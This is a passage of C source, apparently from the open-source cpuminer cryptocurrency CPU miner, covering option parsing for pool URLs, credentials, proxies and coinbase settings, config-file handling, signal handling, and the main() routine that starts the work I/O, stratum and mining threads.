| opt_scantime = v; 1635 | break; 1636 | case 'T': 1637 | v = atoi(arg); 1638 | if (v < 1 || v > 99999) /* sanity check */ 1639 | show_usage_and_exit(1); 1640 | opt_timeout = v; 1641 | break; 1642 | case 't': 1643 | v = atoi(arg); 1644 | if (v < 1 || v > 9999) /* sanity check */ 1645 | show_usage_and_exit(1); 1646 | opt_n_threads = v; 1647 | break; 1648 | case 'u': 1649 | free(rpc_user); 1650 | rpc_user = strdup(arg); 1651 | break; 1652 | case 'o': { /* --url */ 1653 | char *ap, *hp; 1654 | ap = strstr(arg, "://"); 1655 | ap = ap ? ap + 3 : arg; 1656 | hp = strrchr(arg, '@'); 1657 | if (hp) { 1658 | *hp = '\0'; 1659 | p = strchr(ap, ':'); 1660 | if (p) { 1661 | free(rpc_userpass); 1662 | rpc_userpass = strdup(ap); 1663 | free(rpc_user); 1664 | rpc_user = calloc(p - ap + 1, 1); 1665 | strncpy(rpc_user, ap, p - ap); 1666 | free(rpc_pass); 1667 | rpc_pass = strdup(++p); 1668 | if (*p) *p++ = 'x'; 1669 | v = strlen(hp + 1) + 1; 1670 | memmove(p + 1, hp + 1, v); 1671 | memset(p + v, 0, hp - p); 1672 | hp = p; 1673 | } else { 1674 | free(rpc_user); 1675 | rpc_user = strdup(ap); 1676 | } 1677 | *hp++ = '@'; 1678 | } else 1679 | hp = ap; 1680 | if (ap != arg) { 1681 | if (strncasecmp(arg, "http://", 7) && 1682 | strncasecmp(arg, "https://", 8) && 1683 | strncasecmp(arg, "stratum+tcp://", 14) && 1684 | strncasecmp(arg, "stratum+tcps://", 15)) { 1685 | fprintf(stderr, "%s: unknown protocol -- '%s'\n", 1686 | pname, arg); 1687 | show_usage_and_exit(1); 1688 | } 1689 | free(rpc_url); 1690 | rpc_url = strdup(arg); 1691 | strcpy(rpc_url + (ap - arg), hp); 1692 | } else { 1693 | if (*hp == '\0' || *hp == '/') { 1694 | fprintf(stderr, "%s: invalid URL -- '%s'\n", 1695 | pname, arg); 1696 | show_usage_and_exit(1); 1697 | } 1698 | free(rpc_url); 1699 | rpc_url = malloc(strlen(hp) + 8); 1700 | sprintf(rpc_url, "http://%s", hp); 1701 | } 1702 | have_stratum = !opt_benchmark && !strncasecmp(rpc_url, "stratum", 7); 1703 | break; 1704 | } 1705 | case 'O': /* --userpass */ 1706 | p = strchr(arg, ':'); 1707 | if (!p) { 1708 | fprintf(stderr, "%s: invalid username:password pair -- '%s'\n", 1709 | pname, arg); 1710 | show_usage_and_exit(1); 1711 | } 1712 | free(rpc_userpass); 1713 | rpc_userpass = strdup(arg); 1714 | free(rpc_user); 1715 | rpc_user = calloc(p - arg + 1, 1); 1716 | strncpy(rpc_user, arg, p - arg); 1717 | free(rpc_pass); 1718 | rpc_pass = strdup(++p); 1719 | strhide(p); 1720 | break; 1721 | case 'x': /* --proxy */ 1722 | if (!strncasecmp(arg, "socks4://", 9)) 1723 | opt_proxy_type = CURLPROXY_SOCKS4; 1724 | else if (!strncasecmp(arg, "socks5://", 9)) 1725 | opt_proxy_type = CURLPROXY_SOCKS5; 1726 | #if LIBCURL_VERSION_NUM >= 0x071200 1727 | else if (!strncasecmp(arg, "socks4a://", 10)) 1728 | opt_proxy_type = CURLPROXY_SOCKS4A; 1729 | else if (!strncasecmp(arg, "socks5h://", 10)) 1730 | opt_proxy_type = CURLPROXY_SOCKS5_HOSTNAME; 1731 | #endif 1732 | else 1733 | opt_proxy_type = CURLPROXY_HTTP; 1734 | free(opt_proxy); 1735 | opt_proxy = strdup(arg); 1736 | break; 1737 | case 1001: 1738 | free(opt_cert); 1739 | opt_cert = strdup(arg); 1740 | break; 1741 | case 1005: 1742 | opt_benchmark = true; 1743 | want_longpoll = false; 1744 | want_stratum = false; 1745 | have_stratum = false; 1746 | break; 1747 | case 1003: 1748 | want_longpoll = false; 1749 | break; 1750 | case 1007: 1751 | want_stratum = false; 1752 | break; 1753 | case 1009: 1754 | opt_redirect = false; 1755 | break; 1756 | case 1010: 1757 | allow_getwork = false; 1758 | break; 1759 | case 1011: 1760 | have_gbt = false; 1761 | break; 1762 | case 1013: /* --coinbase-addr */ 1763 | pk_script_size = address_to_script(pk_script, sizeof(pk_script), arg); 1764 | if (!pk_script_size) { 1765 | fprintf(stderr, "%s: invalid address -- '%s'\n", 1766 | pname, arg); 1767 | show_usage_and_exit(1); 1768 | } 1769 | break; 1770 | case 1015: /* --coinbase-sig */ 1771 | if (strlen(arg) + 1 > sizeof(coinbase_sig)) { 1772 | fprintf(stderr, "%s: coinbase signature too long\n", pname); 1773 | show_usage_and_exit(1); 1774 | } 1775 | strcpy(coinbase_sig, arg); 1776 | break; 1777 | case 'S': 1778 | use_syslog = true; 1779 | break; 1780 | case 'V': 1781 | show_version_and_exit(); 1782 | case 'h': 1783 | show_usage_and_exit(0); 1784 | default: 1785 | show_usage_and_exit(1); 1786 | } 1787 | } 1788 | 1789 | static void parse_config(json_t *config, char *pname, char *ref) 1790 | { 1791 | int i; 1792 | char *s; 1793 | json_t *val; 1794 | 1795 | for (i = 0; i < ARRAY_SIZE(options); i++) { 1796 | if (!options[i].name) 1797 | break; 1798 | 1799 | val = json_object_get(config, options[i].name); 1800 | if (!val) 1801 | continue; 1802 | 1803 | if (options[i].has_arg && json_is_string(val)) { 1804 | if (!strcmp(options[i].name, "config")) { 1805 | fprintf(stderr, "%s: %s: option '%s' not allowed here\n", 1806 | pname, ref, options[i].name); 1807 | exit(1); 1808 | } 1809 | s = strdup(json_string_value(val)); 1810 | if (!s) 1811 | break; 1812 | parse_arg(options[i].val, s, pname); 1813 | free(s); 1814 | } else if (!options[i].has_arg && json_is_true(val)) { 1815 | parse_arg(options[i].val, "", pname); 1816 | } else { 1817 | fprintf(stderr, "%s: invalid argument for option '%s'\n", 1818 | pname, options[i].name); 1819 | exit(1); 1820 | } 1821 | } 1822 | } 1823 | 1824 | static void parse_cmdline(int argc, char *argv[]) 1825 | { 1826 | int key; 1827 | 1828 | while (1) { 1829 | #if HAVE_GETOPT_LONG 1830 | key = getopt_long(argc, argv, short_options, options, NULL); 1831 | #else 1832 | key = getopt(argc, argv, short_options); 1833 | #endif 1834 | if (key < 0) 1835 | break; 1836 | 1837 | parse_arg(key, optarg, argv[0]); 1838 | } 1839 | if (optind < argc) { 1840 | fprintf(stderr, "%s: unsupported non-option argument -- '%s'\n", 1841 | argv[0], argv[optind]); 1842 | show_usage_and_exit(1); 1843 | } 1844 | } 1845 | 1846 | #ifndef WIN32 1847 | static void signal_handler(int sig) 1848 | { 1849 | switch (sig) { 1850 | case SIGHUP: 1851 | applog(LOG_INFO, "SIGHUP received"); 1852 | break; 1853 | case SIGINT: 1854 | applog(LOG_INFO, "SIGINT received, exiting"); 1855 | exit(0); 1856 | break; 1857 | case SIGTERM: 1858 | applog(LOG_INFO, "SIGTERM received, exiting"); 1859 | exit(0); 1860 | break; 1861 | } 1862 | } 1863 | #endif 1864 | 1865 | int main(int argc, char *argv[]) 1866 | { 1867 | struct thr_info *thr; 1868 | long flags; 1869 | int i; 1870 | 1871 | rpc_user = strdup(""); 1872 | rpc_pass = strdup(""); 1873 | 1874 | /* parse command line */ 1875 | parse_cmdline(argc, argv); 1876 | 1877 | if (!opt_benchmark && !rpc_url) { 1878 | fprintf(stderr, "%s: no URL supplied\n", argv[0]); 1879 | show_usage_and_exit(1); 1880 | } 1881 | 1882 | if (!rpc_userpass) { 1883 | rpc_userpass = malloc(strlen(rpc_user) + strlen(rpc_pass) + 2); 1884 | if (!rpc_userpass) 1885 | return 1; 1886 | sprintf(rpc_userpass, "%s:%s", rpc_user, rpc_pass); 1887 | } 1888 | 1889 | pthread_mutex_init(&applog_lock, NULL); 1890 | pthread_mutex_init(&stats_lock, NULL); 1891 | pthread_mutex_init(&g_work_lock, NULL); 1892 | pthread_mutex_init(&stratum.sock_lock, NULL); 1893 | pthread_mutex_init(&stratum.work_lock, NULL); 1894 | 1895 | flags = opt_benchmark || (strncasecmp(rpc_url, "https://", 8) && 1896 | strncasecmp(rpc_url, "stratum+tcps://", 15)) 1897 | ? (CURL_GLOBAL_ALL & ~CURL_GLOBAL_SSL) 1898 | : CURL_GLOBAL_ALL; 1899 | if (curl_global_init(flags)) { 1900 | applog(LOG_ERR, "CURL initialization failed"); 1901 | return 1; 1902 | } 1903 | 1904 | #ifndef WIN32 1905 | if (opt_background) { 1906 | i = fork(); 1907 | if (i < 0) exit(1); 1908 | if (i > 0) exit(0); 1909 | i = setsid(); 1910 | if (i < 0) 1911 | applog(LOG_ERR, "setsid() failed (errno = %d)", errno); 1912 | i = chdir("/"); 1913 | if (i < 0) 1914 | applog(LOG_ERR, "chdir() failed (errno = %d)", errno); 1915 | signal(SIGHUP, signal_handler); 1916 | signal(SIGINT, signal_handler); 1917 | signal(SIGTERM, signal_handler); 1918 | } 1919 | #endif 1920 | 1921 | #if defined(WIN32) 1922 | SYSTEM_INFO sysinfo; 1923 | GetSystemInfo(&sysinfo); 1924 | num_processors = sysinfo.dwNumberOfProcessors; 1925 | #elif defined(_SC_NPROCESSORS_CONF) 1926 | num_processors = sysconf(_SC_NPROCESSORS_CONF); 1927 | #elif defined(CTL_HW) && defined(HW_NCPU) 1928 | int req[] = { CTL_HW, HW_NCPU }; 1929 | size_t len = sizeof(num_processors); 1930 | sysctl(req, 2, &num_processors, &len, NULL, 0); 1931 | #else 1932 | num_processors = 1; 1933 | #endif 1934 | if (num_processors < 1) 1935 | num_processors = 1; 1936 | if (!opt_n_threads) 1937 | opt_n_threads = num_processors; 1938 | 1939 | #ifdef HAVE_SYSLOG_H 1940 | if (use_syslog) 1941 | openlog("cpuminer", LOG_PID, LOG_USER); 1942 | #endif 1943 | 1944 | work_restart = calloc(opt_n_threads, sizeof(*work_restart)); 1945 | if (!work_restart) 1946 | return 1; 1947 | 1948 | thr_info = calloc(opt_n_threads + 3, sizeof(*thr)); 1949 | if (!thr_info) 1950 | return 1; 1951 | 1952 | thr_hashrates = (double *) calloc(opt_n_threads, sizeof(double)); 1953 | if (!thr_hashrates) 1954 | return 1; 1955 | 1956 | /* init workio thread info */ 1957 | work_thr_id = opt_n_threads; 1958 | thr = &thr_info[work_thr_id]; 1959 | thr->id = work_thr_id; 1960 | thr->q = tq_new(); 1961 | if (!thr->q) 1962 | return 1; 1963 | 1964 | /* start work I/O thread */ 1965 | if (pthread_create(&thr->pth, NULL, workio_thread, thr)) { 1966 | applog(LOG_ERR, "workio thread create failed"); 1967 | return 1; 1968 | } 1969 | 1970 | if (want_longpoll && !have_stratum) { 1971 | /* init longpoll thread info */ 1972 | longpoll_thr_id = opt_n_threads + 1; 1973 | thr = &thr_info[longpoll_thr_id]; 1974 | thr->id = longpoll_thr_id; 1975 | thr->q = tq_new(); 1976 | if (!thr->q) 1977 | return 1; 1978 | 1979 | /* start longpoll thread */ 1980 | if (unlikely(pthread_create(&thr->pth, NULL, longpoll_thread, thr))) { 1981 | applog(LOG_ERR, "longpoll thread create failed"); 1982 | return 1; 1983 | } 1984 | } 1985 | if (want_stratum) { 1986 | /* init stratum thread info */ 1987 | stratum_thr_id = opt_n_threads + 2; 1988 | thr = &thr_info[stratum_thr_id]; 1989 | thr->id = stratum_thr_id; 1990 | thr->q = tq_new(); 1991 | if (!thr->q) 1992 | return 1; 1993 | 1994 | /* start stratum thread */ 1995 | if (unlikely(pthread_create(&thr->pth, NULL, stratum_thread, thr))) { 1996 | applog(LOG_ERR, "stratum thread create failed"); 1997 | return 1; 1998 | } 1999 | 2000 | if (have_stratum) 2001 | tq_push(thr_info[stratum_thr_id].q, strdup(rpc_url)); 2002 | } 2003 | 2004 | /* start mining threads */ 2005 | for (i = 0; i < opt_n_threads; i++) { 2006 | thr = &thr_info[i]; 2007 | 2008 | thr->id = i; 2009 | thr->q = tq_new(); 2010 | if (!thr->q) 2011 | return 1; 2012 | 2013 | if (unlikely(pthread_create(&thr->pth, NULL, miner_thread, thr))) { 2014 | applog(LOG_ERR, "thread %d create failed", i); 2015 | return 1; 2016 | } 2017 | } 2018 | 2019 | applog(LOG_INFO, "%d miner threads started, " 2020 | "using '%s' algorithm.", 2021 | opt_n_threads, 2022 | algo_names[opt_algo]); 2023 | 2024 | /* main loop - simply wait for workio thread to exit */ 2025 | pthread_join(thr_info[work_thr_id].pth, NULL); 2026 | 2027 | applog(LOG_INFO, "workio thread dead, exiting."); 2028 | 2029 | return 0; 2030 | } 2031 | --------------------------------------------------------------------------------